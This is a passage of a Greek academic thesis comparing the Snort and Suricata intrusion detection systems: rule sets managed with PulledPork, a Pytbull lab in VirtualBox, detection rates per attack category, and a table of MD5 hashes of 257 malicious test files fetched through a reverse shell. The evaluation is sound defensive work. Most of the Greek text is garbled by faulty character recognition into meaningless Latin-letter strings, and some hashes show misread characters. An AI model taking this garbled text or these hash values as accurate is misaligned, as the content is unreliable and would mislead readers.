‘Evag devtepog otoyos tov OISF oe oyéon pe to Suricata eivar m ewooyoyn vémv 18edv Kot
KOLVOTOULDV GTO YMPO TOV GLOTNUATOV aviyvevong eicformv. Exovtag katd vou avtdv 10 616)0 ot

TPOYPAUHATIOTES TOV Suricata mpocébecav ce avtd T Topakdto véa yapoaktplotikd: [21]

e Avtoupatn avoyvapion TpotokoAiov. To cvvnbéotepa YPNOUYLOTOIOVUEVE TPMOTOKOALD,
omwg ta IP, TCP, UDP, ICMP, HTTP, TLS, FTP kot SMB avayveopilovtat ovtopata
a6 to Suricata katd v Evapén g dkTvaKNG ponc. Me avtdv Tov TpOTo diveTal 1
SVVOTOTNTO GLYYPAPNS VITOYPOPAOV Ol 0Toieg TPOocdlopilovy TO YPNGLUOTOIOVUEVO
TPOTOHKOALO Kol Oyt Tn BOpo TNV omoia avapéveTon 1| Kivnon.

o Anoovunicon Gzip. O avaivtig HTTP sivar oe 0éomn vo omokmOIKonolel cLUTIEGUEVEG
OIKTLOKEG POEG, TOPEXOVTAG TEPLOCOTEPES TANPOPOPIEC GTN UMYV aviyveLONG.

o Ave&aptnm PProdnkn HTTP. O avoivtig HTTP pmopel va ypnowomomfel and drieg
eQaproYEC, Ommg proxies, eiltpa K.T.A.

e Lua scripting. Katd t cvvtaén tov vmoypapodv vrdpyet Siabioiun n exthoyn luajit, n oroia

diver T dvvatdTTe 6T PNYavh aviyvevong vo. ektedéost Lua scripts ta omoio Bpickovtot
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amonkevpéva o eEmtepikd apyeia. To yapaktnpiotikd avtd givor avrtiotoryo tmv Shared

Objects mov d1abétel To Snort.
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8 Ileypapatiki) perétn

Y10, mlaiclo NG TOPOLCOC EPYUCING TPAYUOTOTOWMONKAY GULYKPITIKEG UETPNOEI TOGOTIKMOV
YOPAKTINPIOTIKOV Tov oyetiCovtal pe v axpifeio aviyvevong tov IDSs Snort kot Suricata. Ta
HETPNGILLO YOPOKTNPIOTIKA TOV a&loAoynOnkay gival avtd mwov meptypapovtol otny mopdypapo 4.1,
pe e€aipeon Tig peTpnoels ot omoieg Oa amattovoay Ty vVIapén diktvakng kKivnong vyniov dykov. O
KupLOTEPOG AOYOG Y1a TOV 0Toio Eanpéfniay ol LETPNGELS ALTOV TOV €100V TaY N LN SfEGILOTNTA
TOV VTOAOYICTIKOV TOP®OV TTOL Ho NTOV OTaPAiTnTOL YI0 TV TPOYUATOTOINGT GUTAV TMV UETPTCEMV.
Kot tn dudpkelo tov dokipuadv emyepndnke va avoamapayfel vyniog 0yKog SIKTuaKNG Kivinong
voPadpov, ypnoponoldvTag apyela KoToypagng .pcap mov eivor dwbéoio oto dadikTvo (OTWGS
avtd tov MIT/LL). Awmotodnke opmg 6t n dwbéoyn demapn diktvov dev NMtav og Béon va
GLAAGPEL OA TOL JlEPYOUEVA TOKETO TOV TOPAYOVTIOV KOl GUVETMS Kpidnke OTL 1 Yp1on SIKTLOKNG
kivnong vrofafpov vynrod dykov Bo 0dNyovce e AavOAGUEVO GUUTEPACHOT VIO TIG VITAPYOVGEG

ouvOnKeg.

Mo 11 doKHéG OV TPAYLOTOTOWONKAV YPNOUOTOONKE €VOC MAEKTPOVIKOG VTOAOYIGTNAG HE
ene€epyaoth Intel Core 2 Duo T8300 2.40 GHz pe 4 GB pvAum RAM kot Aettovpyikd cdotnua
Windows 7 64-bit. H eykatdotaon tov 600 IDS kabdg kor tov dwedpov epyoleinv mov
YPNOLLOTOMONKAV Y10 TNV EKTEAECT] TOV SOKILMVY, £YIVE GE EIKOVIKEG UNYOVES TTOV dMULoLPYHONKaVY
o€ OUTOV TOV LITOAOYLoTN e xprion g mrateopuag Oracle VirtualBox 4.2.4. T ) odykpion tov
dv0 IDS ypnoyomombnkay o1 TAEOV TPOCEOTEC EKOOGELS TOVG Ol OTOIEG TAV KOTA TNV Evapén TV

SOKIUAV 01 aKOAoLOES:
e Snort 2.9.4, pe Aertovpyikd cvotnpe Ubuntu 12.04.1
e Suricata 1.4.1, pe Aertovpykd cvotnua Ubuntu 12.04.1

H gykatdotaon tov IDSS aAld kot TV VTOAOITOV CLGTNUATOV TOV ¥PECTNKE Vo eyKaTaoTadodv
KATA TN OpKEW TOV JOKIH®OV, £ywve Pdoel TtV emionUo®V 0dNyldV €YKOTAGTOONG Kot
TOPOLETPOTOINGNE TOV KATACKELAGT®MY TOVG. Ta Kupldtepa apyeia pubpicewv Tov cueTNUAT®V TOV

XPNOLOTOMON KAV, ETGLVATTOVTIOL GTNV EPYACIN GE NAEKTPOVIKY LOPON.

Me Bdon o Topamdve, TPoyRaTomoOnKay GUYKPITIKES LETPNGELS TOV TOPUKAT® YOPUKTNPIOTIKMV

OV TTEPLYPAPNKAV OTNV Topdypoeo 4.1:
o KdéAivym évavtt yvootav emibfécemv
o [NBavotnrta aviyvevong Kot avayvoplong exfécemv

o [TiBavétTO OviyvevLong emBECEDY TOV YPNCILOTOLOVV TEYVIKEG ATOPLYNE OvixveLoNg
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o AvBextiKomTnTa £VvovTl emBécemv TOEA®ONG (Tapaywyn peyaiov TANBoVE Yeudds BeTIKDY

€100TOMGEMV)

AvtiBétg, dgv TPAYUOTOTOMONKAY GUYKPITIKEG UETPNGEIS TOV TAPOUKAT®O YOUPUKTNPIGTIKOV, KAODC

Yl AVTEC TIG LETPNOELS Elval omapaitnTog VYNAOG OYKOG d1KTLAKNG Kivnong vofddpov:
o AvOektikotnTa évavtt embécewv mov otoyevovy to IDS/IPS
e Avvordtro ¥eptopod VYNA0DH OYKOL SIKTLOKNG Kivnong
o AxpiPela aviyvevong vwd vynid 6yKo SIKTLOKNG Kiviong

Téhog, dev mpayuatomodnke ocOyKplon TV 000 CLGTNUAT®OV GYETIKG UE TO TOPUKAT®

YOPOKTNPLOTIKG, KaO®DS Kot Ta. 600 GuaTiaTa dgv dafEToVY TETo1EC SVVATOTNTEG:
o AvvordTnTo GLUGYETIONG YEYOVOT®V

o Avvatdtnra aviyvevong dyvootov embécemv (Kobmg 1 LETPTION CLTOV TOV YOPUKTNPICTIKOD
dev givan 1aitepa gpnown v IDS mov ompilovron kupiwg otn pebodoroyio avixvevong

Baoel voypapdVv)

e Avvortdtro Tpocdtoptopov g EkPaocng piog enibeong

8.1 Kaivyn évavtt yvootov emBécemv

Onwg tpoovapépbnke otnv mapdypapo 4.1.1, 616x0¢ avTNC TG UETPNONG ElVaL O TPOGIIOPIGLOG TOV
aplBuov TV yvootdv embécemv mov umopei vo aviyvevoet éva IDS/IPS vd 1davikég ouvOnkec. Ta
1o Snort kot to Suricata mov otpilovion kvpimg otn pebodoroyio aviyvevong Paost vVIOYPAPDOV,
ovtd pmopel va emitevybel Héo® TG HETPNONG TOL APlOoD TV S100EGILOV VTOYPOPOVY. Y TAPY oLV
d00 KOPLEG GLALOYEG VTTOYPAPDY OVOLKTOV KOIIKA 01 0moieg pmopovv vo aglomombovv 10660 and 10
Snort 660 ka1 omd to Suricata. H npdt eivor avti mov cvvinpeiton and v ouddo SourceFire
Vulnerability Research Team (VRT) tng etaupeiog SourceFire otnv omoio avikel to Snort. Adyw g
oLpPaTOTNTOG TV VITOYPAP®V TOL Suricata pe avtég Tov Snort, vapyel N SVVUTOTNTA XPTONG AVTMV
TOV VIOYPAPOV Kot ota dVo cuothiuata. H dgvtepn cvAdoyn vmoypaedv gival avti TG eTonpeiog
Emerging Threats (ET). H ovAloyn avti &exivnoe apyikd o¢g pio Aioto vmoypoedmv 1 omoio
oUVTNPOVTOV OO TNV KOWOTNTO KOl €€ G OTOYO VO GUUTANPHOCEL TN GLAAOYN VTOYPAPAOV TNG
VRT. Av kot apyikd Beopodviav Ayotepo aflomotn and T ocviioyn g VRT, miéov Bewpeitan
apketd aglomotn Kot mapéyet emimiéov duvartotnreg. [apéyetar oe 000 dapopeTIKEG eKdOCELS, KAOE

pio amd T1g 0moieg eivart TPOGUPUOGUEVT OTIC 1B101TEPOTNTES TOL SNort kot Tov Suricata avtiotoiymc.

To ™ dwayeipton Tov vroypoe®dv Tov 600 cveThudTev Ypnotuoromdnke n epapuoyr PulledPork
v0.6.1. TIpoéxertor yio pia, epapuoyn 1 omoia pwopel vo ypnopomombei t0co amd o Snort 6co kot

amd o Suricata, yio v avtoporomomuévn Sloyeipion Tov vIoypae®dy. AE0TOIOVIOS aVTd TO
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gpyoieio divetar M dvvATOTNTO TPOGOOPIGHOD TOAAAMADY TNYOV VLAOYPOEDOV ATO TIG OMOlEg
UTOPOVY VO OVTAOUVTIOL CLTOMOTO VEES LROYPAQEC, KaBmg Kot vo mpocdiopilovionr kavoveg
gvepyomoinong N anevepyomoinong opddmv vroypapdv (Léow Ttov apyeiov ). Edwotepa yio
ovAloyn vroypapav g VRT, divetan 1 duvatdtra adlomoinong g Kotrnyoplonoinong mov €xet
yiver otig dabéoiplec voypapéc. Ot vrnoypaeés e VRT mepthapfavouv ota petadedopéva toug pio
emloyn pe dvopo policy, n omoia éxel a&omomBel yio v £viaén TOV VIOYPUPOV GE SLOPOPETIKES
TOMTIKEG €ELCOPPOTNONG TNG TAYVTNTAG, TNG CLVIECHOTNTOAG KAl Tng wKavottog aviyvevong. Ot
S10POPETIKEG OVTEC TOMTIKEG givan ot connectivity-ips, balanced-ips ko security-ips kot pmwopovv va

a&romomBovv and to PulledPork yio tqv evepyomoinomn pévo tov ovtictolymv Kovovov.

Mo v apoaypatonoinon Tov GUYKPITIKOV HETPCE®MY EMAEYONKE 1 Evepyomoinon 66O T0 duvatd
TEPIOCOTEPOV LITOYPAP®V. 'Etol evepyomombnke to cuvoro tev vroypapmv g VRT, evd amod tic
vroypoéc e ET evepyomomOnkav uoévo ot vroypoaeéc mov NTov evepyomoinuéveg €&’ opiopod. Ot
vrdrowmeg voypaeég ™ ET mov Ntav amevepyomomuévee emA&ydnke vo pnv evepyomowmbovv,
Kabmg mpokerton gite yioo vmoypapéc mov mopdyovy moAAld false positives v Bpickovior oe
TePaUaTiko otado. Emmpootétag, yio to Snort evepyonomOnkay to 288 dubioue Shared Object
Rules, to omoio dev eival katavontd amd n pnyavy oviyvevong tov Suricata. Ot cLAAOYEG
vroypag®dv mov aflorombnkayv frav avtéc mov frav dabécueg otig 9/3/2013. Ztov mivaka mwov
akolovBel yivetor pion GVYKPLON TOL CPOUOY TOV VIOYPUPHOV OV NTAV €PIKTO va aglomombovv

dueca omd to 600 CLGTAHATO.

Mivakag 8-1: Tuykpirikog wivakag o100£61pmv vToypaeay

Snort Suricata
XUvolo Suabéoipwv vrtoypa@wv (VRT + ET) 31326 30148
Amtevepyomompéveg vioypa@ég (VRT + ET) 2524 2946
Evepyomompéveg vtoypa@ég (VRT + ET) 28802 27202
Shared Object Rules 288 0
YToypa@£g Tov omoiwv 1] @OpT®WoT AmETVXE 0 776
YToypa@£g Tov @opTmwonKav EMLTUXWG 29090 26426

Amd tov Topamdve mivako dlomTioT@veTal pia dtapopomoinon ot duvatdtnra alomoinong tov
VIOPYOVIMV VIOYPAPOV 0td To, SVO GVOTNUATO, 1) 0TToio avépyeTal 6T 2664 voypaeéc. [Ipdkettan
Yo o dopopd g Tadéng tov 9%, 1 omoin oeeideTanl aPevog peV 6To yeyovog 0Tt To Suricata dev
elvar og Béon va epunvedoel To TANPEC GHVOAO ETAOYDOV OV gival J1BECIUEG GTO CUVTOKTIKO TO

Snort kot apeTéEPOL oTNV VILAPEN VTOYPAPDV Ol OTOIEG OLPOPOVY UTOKAEIGTIKA TOVE TPOENEEEPYACTEG
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tov Snort (Shared Object Rules) kot mov dgv givol Kotovontéc omd TN pnyavn oviyvevong Tov
Suricata. Xopoaktnpiotikn givai 1 510popd 6T0 GOVOAO TOV S100EGIUMY VTOYPOPDY TOL VILAPYOVV Y10
T VO GLOTNHOTA, 1 OTTOL0 TPOKVATEL OO TO UIKPOTEPO OPLOLO VIOYPUPHOV TOV Eival SOESILES Yio

to Suricata and v ET.

8.2 IIBavotnTa aviyvevong Kol avoyvapiong em@<oemv

210%0¢ TNG TPAOTNG SOKIUNG OV Tparypotonodnke nTav 1 ovykpion tov dvo IDS oe oyxéon pe to
TOGOGTO T®V EMPEGEDV TOV AVIXVEDOVTUL ENLTLYMS KOl TNG SLVATOTNTAG TOVG Vo, avayvepilovv opHd
pio emiBeomn avtiotoryilovidc TG He évo KOWMG YVmOoTO Ovoud, pio eumdbeio M pio kotnyopio

emBéocmv.

lNo v mpoypotoroinon ovtg tg doxkwrg aflomombnke to gpyodeio Pytbull to omoio
ovopmepthapupavetar ot Swvour; BackTrack 5R3. Tlpokeitar ywo. évo framework doxiumv
ovoTNUdTOV aviyvevong elofoidv, To omoio ival ypapuuévo og Python ko pmopei va ypnoponomdei
Yo TOV EAEYY0 TV duvatoThTOV aviyvevong evog IDS, t ovykpion dapopetikdv IDS kabmg kot
GUYKPLON OlaPOPeTIKDY pubuicewv tov id1ov IDS. TlephapuPdver €& opiopod éva peydlo mAnbog
oKDV o1 omoieg opadomolovvial og dldpopeg Katnyopieg. Ot katnyopiec TV SOKYUMDY 7OV

a&lomomOnkav givor ot akdAovOeC:

o Client Side Attacks. Xpnowonoinon evog reverse shell mpokeipévon va d060bv 0dnyieg otov
server va xotepaocel apysio pe KakOBovAo meplEXOUEVO, dote va ereyyBel n duvatdtnTa TOL

IDS va mapéyet mpootacia Evavtt embécemv avtod Tov £idovg.

e Test Rules. A&oloynon g dvvatdmrog tov IDSs vo a&lomooovy TIg VIOYPUPES TOL

SL0O£TOVV Y100 TOV EVIOMIOUO TOV AVTIGTO®V OTEINDV.

e Bad Traffic. Amootol naxétwv mov de cvupopemvovtal ue ta RFCS, pe okomd ) pelétn
NG CLUTEPIPOPAG TNG UNYAVIG AViXVELONC.
e Brute Force. Aok tov duvatotitev tov IDS va aviyvevel embéceig brute force.

¢ Denial Of Service. Eieyyoc g duvatdtntag aviyvenong entfécemy Apvnong VINPECLOV.

e Evasion Technigques. Xpron teyvikdv amo@uynig aviyvevong Kot EAEYY0S TNG SuVATOTNTOG

aviyveLONG TOLC.

e Fragmented Packets. @poupotiopds mokEToV Kol EAEYY0C TG  OLVATOTNTOG

EMOVACLVOPHOAOYNGNG TOVG KAl EVIOTIGHOV NG EMifeomnc.

e Malware. Avamapaymyn SiKTLOKNAG KIViong Opopedv 1 omoio ival Katayeypapuévn oe

apyeio .pcap.

Eykotdoraon ko Hepopotiky Melétn Zvotnudrwv Aviyvevons Eigfoiov Zelioa 107



o Shellcodes. EAeyyoc g duvatotntag evromiopov shellcodes

IMo v extédeon pépovg TV mapamdvm dokipumv a&lorotovvtat omd o Pytbull ko duvatdteg mov

TOPEYOVV T TOPOKATO EPYUAELL:

e Scapy, yio TV KOTOOKELN TOKETMV LE TO YOUPUKTIPIOTIKG TOV OTOLTOVVTOL Yio TO KGOe €id0g

emifeomng

e Hping, 10 omoio ypnowomnoieitor ywoo v oamootodr] makétwv TCP/IP xoi pmopsi va

a&lomomOel yio emBécelg Apynong vInPecIdY
e Nmap, ywo Vv Tpaypatonoinon cdpwong Bupmv
o Tcpreplay, ywo v avoropoyoyf Kivnong mov el kataypapei oe apyeio .pcap
e Ncrack, ywa v extéleon embéoewv brute force

e ApacheBench, mov ypnowonoteiton yio v a&odAdynon tov emddocemv evog Web server kat

umopel va a&lomom0ei yio emB€celg Apynong VITNPECIHOV

Emmpocbétmg, divetar n dvvatdtnta npocning vémv dokiudv. H dvvatotnta avt) a&lomomdnke
TPOKEWEVOL VO TPAYHOTOTOINO00V Kol EXITAEOV OOKIUES, OMMC 1M YPNOLUOTOINGT SloPOPETIKMDV
TEQVIKOV  olpwong Bvpdv, kmdikomoinong shellcodes, teyvikdv amoevyng aviyvevong kot

AVOTOPOY®YN OUKTLOKNG KIVIONG LOLOPPDV.

8.2.1 Iepapatikn owatatn

H mepopotikn d1dtagn mov ypnolonomdnke yio tnv ekTéAecn TV SOKIUDV OTEKOVILETOL oTNV
Ewova 8-1. Ipokeyévov vo eacpariotel 0Tt n diktvaky kivnon mov Ba eéetaotel omd to, IDSs
mepopPavel povo T ToKETO SOKIUMY Kot Oyl EMITPOCOETO TaKETA OMPOPAETT®V SPAGTNPLOTNTMY,
xpnooroinke évo amouovopévo meptPdilov to omoio mepthaupavel uoévo to mpog e&étaon IDS
KOl TOV VTOAOYIoTH Tov emtiféuevov. o ) dnpovpyio. ovtod TOL ATOROVOUEVOL TTEPIPBAALOVTOC
YPNOUOTOMONKOY EIKOVIKES UNXOVEG O 0ToiEG NTa GLVOEdENEVES HeTa&D Tovg pe Evay “Host-Only”
dpouoroynt tov VirtualBoX, £to1 dote 01 £IKOVIKES unyavEG Vo, uropolv va épbovy o€ emapn uovo

UE TN SIKTVOKN Kivnor Tov “idtmTikod” Tovg S1KTLOV.
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IDS Backtrack 5R3
Ubuntu VM Ubuntu VM

Alenadn diktlou og
promiscious mode

<

Pytbull Server

Reverse shell Pytbull Client

Wt

(

“ . KakoBouAa apxeia
Host-Only” VirtualBox Router

192.168.56.50 (Snort)

192.168.56.51 (Suricata) 192.168.56.60

< Nakéta Siktuakrc kivnong mpog avaiuaon

<« KakoBoula apyeia

Ewcova 8-1: Meipapatiky d1ataén d0KIUNAG OVIYVELONG KUl OVAYVAPLENG ETOEGEQY

O1 doxiuég Tov mpaypaTtoToOnKay eravaAneOnKay pe Tov id10 akp1Pag tpomo Kot yia to dvo IDSs.
Yy ke emavainym, t 0éon tov IDS omv Ewodva 8-1 éhafe kdbe @opd éva amd ta Vo
e€etalopeva IDSs. H diemapn dictvov tav IDSS eiye 1e0el o promiscuous mode mpokeipévon va
elvar og Béon va cvAlapPdvel 6 a Ta dlakvovpeva Tokéta. Emmpocsfétwg, £ytve eykatdoTaon Tov
Pytbull server ka1 ota 600 IDSS, mpokeyévov va gival €QIKT 1 EKTEAEOT TOV SOKIUMV TNG
katnyopiag Client Side Attacks. TTpdketton yio éva python script mov dnpovpyel éva reverse shell, to
omoio d&yetar evtoréc amd tov Pytbull Client mov Bpicketar otov vrodoyioth tov emtifépevon. Ot
evtorég mov amootéddel o Pytbull Client agopobdv 1o katéfacua apyeiov pe kakdPovio TepEyOUEVO.
Ta apyeia avtd umopovv va Bpickoviol 6e 0mol001TOTE VIOAOYIGTH KOl Y10t AOYoVS £01KOVOUNONG
VTOAOYIOTIKOV TOpmV emA&yOnke va erhocevnBoldv amd Tov 1010 TOV VTOAOYLIGTH TOV EMTIOEUEVOD.
Télog, o vmoloyotig tov emtbépevov oibete ™ dSwavopn BackTrack 5R3, otnv omoia
ovunepapfaverar to Pytbull. Me v nopamdve didtaén dev anoitovviay emmpoOcheto cuoTHHOTO
otoyol, kobwg to Pytbull amootédder ta mokéto TV dokiudv omevbeiog mpog avéAvon oto

e&etalouevo IDS.

8.2.2 AmOoTEAEOHOTA OOKIPUMV

O Ilivokag 8-2 mepriapfaver yio ke évo amd ta 600 IDSS, 10 m0606To aviyvevong mov emtedydnke
avdé katnyopia doxipmv. I'a v a&loAdynon tov PBabuov emitvyiog aviyvevone g kdbe ametAnc,

XPNOUOTOONKE TO TAPUKAT® GYNLLO LOPLOdOTNONG:

o 0 udpilo yo TI¢ TEPITTOGELG Tapaymyng povo false positives 1/xoun false negatives, kaBdg o
Y10 TIG TEPUTTAOGELS TOpAy®YNg true positives omd ta omoia dev yivetar avtiAnmto to €160¢ TG

ATENG.
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e 1 uépo Yy TIC TEPTTMOGELG TOPOYOYNG true positives pe péTplo emimedo avayvodPiong
embéoenv, Kabmg Kl Yo TIC TEPMTMOCELS Tapay®YNG true positives ol omoieg cuvodevovol

amd TV mapayyn onuavtikod apiBpot false positives.

o 2 popla Yo TIC TEPMMTMOOELS Tapaywyng true positives pe minpn avayvopion enfécemv mov
dev ovvodgvovtar amnd false positives, kabdg kol yio Tig mepT®OElS Tapaywyng true

negatives.

MMivaxoeg 8-2: Zdvoyn amoteheopdTv doKIpAV pe xpion Tov Pytbull

A/A  Koamnyopia ApOpog Aoxip@v Mocoo16 emtvy0vg  IlococTd EMITVLYOVG

aviyvevong Snort aviyvevong Suricata

1  Client Side Attacks 257 87,16% 1,17%
2 Test Rules 7 100% 71,43%
3 Bad Traffic 5 0% 20%
4 Brute Force 1 100% 100%
5  Denial Of Service 3 66,67% 66,67%
6  Evasion Techniques 28 78,57% 64,29%
7 Fragmented Packets 2 50% 25%
8  Malware 9 83,33% 88,88%
9  Shellcodes 34 73,53% 67,65%

Eykotdoraon ko Hepopotiky Melétn Zvotnudrwv Aviyvevons Eigfoiov Zelioa 110



100 -
90 +
80 A
70 A
60 A
50 A
40 -
30 A
20 - M Suricata

M Snort

Ewova 8-2: Xoykpitiko didypappo aroteAespdt@v doKipdv pe ypiion tov Pytbull

KGOe pio omd TIg Kot yopieg SOKIUMY, dI00VTL OTN GUVEXELD TEPIGGOTEPEC AETTOUEPELEC Y1 TO €I0G

NG SOKIUNG KOl TIC EI00TOMGELG TOL TTapNyOncay amd to kdbe cvaTUA.

8.2.2.1 Client Side Attacks

Avt 1 Komnyopio. dokiudv gixe g otoyo vo ereyyfel m dvvoromnta tev IDSS va moapéyovv
mpootocion évavil embécemv péocw apyelov pe xokdPfovio mepieydpevo. o 10 okomd awtd
ypnowonombnkav 257 apyeion pe kakOBovAo mepleyoduevo, to omoio KatéPfniov (wget) otov
VIoAOYloTH oL NTav gykateotnuévo to kdbe IDS. O Ilivokag 8-3 mephapPdvel cuykevipmTiKa
OTOlKEl0l GYETIKA [E LTV TNV Katnyopio dokipdv. Onwg S10moT®veTol 0md ovTdV TOV TIVOKA, TO
Suricata dgv kataeepe va ovTamokplOei e emttuyio 6 AVTAV TNV KATyopio SOKIU®OV, TOPOLO TOV GE
pio ovtiotoyn dokiun mwov &ywve 6to TaperBov amd to dnuiovpyd tov Pytbull [22], ypnowonoidvrag
moAatotepr ékdoomn Tov Suricata, NTav @ikt M aviyvevon anelldv oto 49,41% tov apysiov wov
ypnooromonkay. Ady® ovthg TS oNUAVTIKNG amdkAiong peta&d Tov 600 SoKIUAY, ETtyElpnOnKe 1
0l dokiu TOAAEG (QOpéc, ypnoluomoldvTag kKOOe @opd dlupopeTikég puvbuicel; oto apyeio
pvOuicewv Tov Suricata (suricata.yaml), ympic Oopmg va vrap&el Kdmoln Slopopomoincn oTa

OTOTELECLLOLTAL.

IMivakoag 8-3: Xovoyn anotelespdtov dokipdv kotnyopiog Client Side Attacks

Snort Suricata
ApOpog apysiov 257 257
ApOpog apyiov 6Ta omoio aviyvevOnKay amellic 224 3

Eyxozaoroon koi Hepapoziky Melétn Zootqudrwv Aviyvevoong Eiofolov Zelioa 111



Ap1Opdg €100TOGEDV

Moproddtnon

[Mococ6T6 avixveveng

787
448

87,16%

5
6

1,17%

O Iivaxag 8-4 mepthapPavel o MD5 hashes tov apysiov mov ypnoonomnkay, kabng kol ™

poplodotnomn wov d60nke o kibe IDS avd apyeio.

IMivakag 8-4: Avaivtikd otovysio poprodotneng doxkipdv katnyopiag Client Side Attacks

A/A  MDS5 hash apygiov Mopra Snort Mopro. Suricata
1  001e2710555613a82e94156d3ed9c289 2 0
2 7b9el1c1b479447506cc046a5d8219%eca 0 0
3 004e74d54dcf79c641d5cf8a615488a0 2 0
4 7d6e9af1018c10f1b7dfa5169a35d941 2 0
5 0106fb569e87e02fc88d496064abdf19 2 0
6 7t73dd439572409a64bc4dd0d603aact 2 0
7 02bfe34bea55e327cfdead9cff215f33 2 0
8 7f7413bd2a4a0f001efd0305f4f56act 2 0
9  030423da29ele6f4a527518126dedaeb 2 0
10  80202a9c51d8544bac7ac273428dd97c 0 0
11 03042cc3786dafdh941019488d4cad3e 2 0
12 80f20af63314be2e8c79d8ca99eeb713 2 0
13 03546e59967af0c2dbf609013934cd07 2 0
14 82a5f96d1834411a3b5af9c21ffb14a8 2 0
15 04095314d51057a13e21908del1266fcl 2 0
16 ~ 82a7c8fdacca91blbd0fdc2407674f50 2 0
17  049675afd5¢c9505b9715872d499b9389 2 0
18  82eedada754bf163d406e3e205df97e9 2 0
19  0700bffe83561cle2a5156d89de68f6d 0 0
20  83220f00d3b3cde40bd3bf58c78ba899 2 0
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A/A  MDS5 hash apygiov Mopra Snort Mépro Suricata
21 0733c4e2122cdfcfdd4699a3chbdc8b40 2 0
22 853027bec65b3f2434788a70d4d15d89 2 0
23 08da26158b76ca38e0ddb740aafob4ff 2 0
24  872537348b6f1ef77d74f1d298978d72 2 0
25 0ab4a29af51b17335abbe0eb861784aa 0 0
26  896c14bc7ff88923e35aa824ab6c72da 2 0
27  0d711f2049a6004cffe447dab78cd7e5 2 0
28  8ae719cdd29f0e6af4d4dd321cc40355 2 0
29  0e0c3al77b898c523e8303940ae99077 2 0
30 8bf83af16e95ff0187622579b3d453d9 2 0
31  0Qelfc785eff45ff0b140dbf6labf3eab 0 0
32 911d2b98b29cf53daa2ca956e6a456el 2 0
33  0f24780097467c4c54f8f306346dff37 2 0
34 911eb6c6524711c194320461b1602ace 2 0
35 0f5d42aa99bl7eabddc19a46013b517b 2 0
36  92db03a6d1db9a9012ccc7bd9b4bed7a 2 0
37  0fc9c4ele2148912188dd913ff95149¢ 2 0
38  933912d26eeef9d3c220679elccafll3 2 0
39  100cf902ac31766f7d8a521eeb6f8d68 2 0
40  940ae58370cd3ed31fofd7ca8672fa27 2 0
41  10c35deb541e58b115ea2c682edb26ea 2 0
42 9476ed0a007ba332b7da0a657b1608bd 0 0
43 10e15dd9b11528762c182b04f80e0a03 2 0
44 949265ee1d3e587152a23311a85b3be9 2 0
45  116c4ad3656000b7c0908c13470d0001 2 0
46  9516a32b2aa7beccc96eeal74ade7cel 0 0
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47  116d92f036f68d325068f3c7bbfld535 2 0
48  9666¢f5956922h4127¢600b6a01f3488 2 0
49  11dbb8d7924595e24c61eca8c9248834 2 0
50 97ab9a60226f2af051251255254e8fbf 2 0
51  122ca0d4629ff12c3b0aa21bd18dbf08 2 0
52  9b60af61854a4334967377c0d19adaf4 0 0
53  15a22ac5b7ed9fd640d6220dac0b4488 0 0
54 9bc1735453963e33eal857cc25aa5al9 2 0
55  1618d09ff580014b251794222bb0f0f9 2 0
56  9cbcd8f4a5988acae6c2e2dce563446a 2 0
57  17b67bd445c655598875e4c9a97ba906 2 0
58  9ef0794d27d89470ad95a57e2a58adb7 2 0
59  194030ef77514d3cad3b23d9fa3a0160 2 0
60  9efeebelcealeea5e94e330f28ec23b2 2 0
61 1b2ff9edab6d5663842d6027b2819a86 2 0
62 a093b4964082244b37f3310037f0a366 2 0
63  1dd08cf849277f10cc588718c137e77b 2 0
64  a09clcb2c2c79b3e09e5af09e8c30b2b 0 0
65  1fd0cd90cbd69234d07b4172bbad754d 2 0
66 a362abe459c574b1984640316219¢818 0 0
67  21f05c819712e39a7a4d089b4f31e602 2 0
68 a38a70821c62be2996aclc28575f2fd2 2 0
69 21fa925e48a4238e22fef1147f293727 2 0
70  a3f87c9468e0850cc5e5ab16c639ch31 2 0
71 22f3e7e6f64217628f97d09cdaal810d 2 0
72 a3f9c3c7a8d8df8844eaceb3bb72668f 2 0
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73 230748c2bd16ba0213b73f0fd045169d 2 0
74 a49bb6ef5a11469788f1f5bc1f49eb8c 2 0
75  231fc7f1300d2e6f94bccfaddbd98ea2 2 0
76  adcccal60dd7ff89b0f0f6bafe1408f 2 0
77  238ecf8cOaee8bfd216cf3cad5d82448 2 0
78  a63fa88b7597fhbfe67772ce68484a80b 2 0
79  268a0065b6eal34054dc6aea300a830d 2 0
80 aaeed3399e542e4ba881f27adabaf31f 2 0
81 26cb2016442b19af37d691ec46424aea 2 0
82  ac4a484bb27e08433f822d4120291bed 2 0
83  27cd1443a07772e6e04207dd45537eae 2 0
84  ad0b7237cd7ea338f06ddd25ac414efd 0 0
85  289d8bba31bb2e4455f3d28h74926¢1d 2 0
86  adb86294f7cf2586be437f5ch3d48244 2 0
87  28f5ed6f32f3d9b800cf41c663b6c74 2 0
88  ae0b6db6a02d173ch52b86a85476d30a 2 0
89  29db2fba7975a16dbc4f3c9606432ab2 2 2
90 ae8629018d49e76b5e0c946d8372659f 2 0
91 2aaa2f62cadf2b0f72587b3dfface669 0 0
92  b081194268d1eab9fd37375a887e0c01 2 0
93  2bbf014a1752d92b91e3452f9a235464 2 0
94  b1065bcd0fc6c46bce9d447d56669e3c 2 0
95  2cd0e2c020f617ecledc4ebd489dare7 2 0
96 b183474507achf321a87586479a9570a 2 0
97  2eea004842a335607b612ff10418f6c6 2 0
98  b2laa8cfb60a558f8ebd390152db6141 2 0
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99  2f846adf7a93e94a0a809eb32f188146 2 0
100 b45b86c3c7789cd9ccOa3b7cac3el425 2 0
101  307c2068b22b968a6bd0996e7c77flee 2 0
102 b4e256982947b3c68aaa84545hb61c9bl 2 0
103  33c1b7620ac827b26496534122e0cdab 2 0
104  b5120878ecc9c258e1323d26a8c02d26 2 0
105 34d8b44ccdb7c1a6885c7d11c1d87be3 2 0
106  b562039e2a5f5fb086788bc54d140f70 2 0
107  350924123chflb126f4e38335ed6660d 2 0
108 b7db936e928b774ace570805bd2f19fe 0 0
109 357d296be75e7€3988591d9123a01177 2 0
110 b85fal37f172af78d87fbddc74f6532c4 2 0
111  36af296c3954274f4222847814b1f63b 2 0
112 b8caeddac2c5bc2db931a1d13bb90335 2 0
113 398fca0465861879284ef20f8e12e063 2 0
114 b9cebfchabe7f9cal8852b706506d370 0 0
115 3a67789dc523b6d083e8c4d652c7316a 2 0
116  bb10a59bf2b697f649d47dadf52aebd5 2 0
117  3abe00al1d0dc816a99587f574d02b498 2 0
118 bbd68472ad0688005cf40d726efdb2be 2 0
119 3bb77dde61188077ae6b23822f135df8 2 0
120  bbdceOad4cd7268f8454bh7da526aa09c 2 0
121  3f57¢3d98225d04e631c09d61adbb973 0 0
122  bd4d584dffedcdebOefc0b362ff73db8 2 0
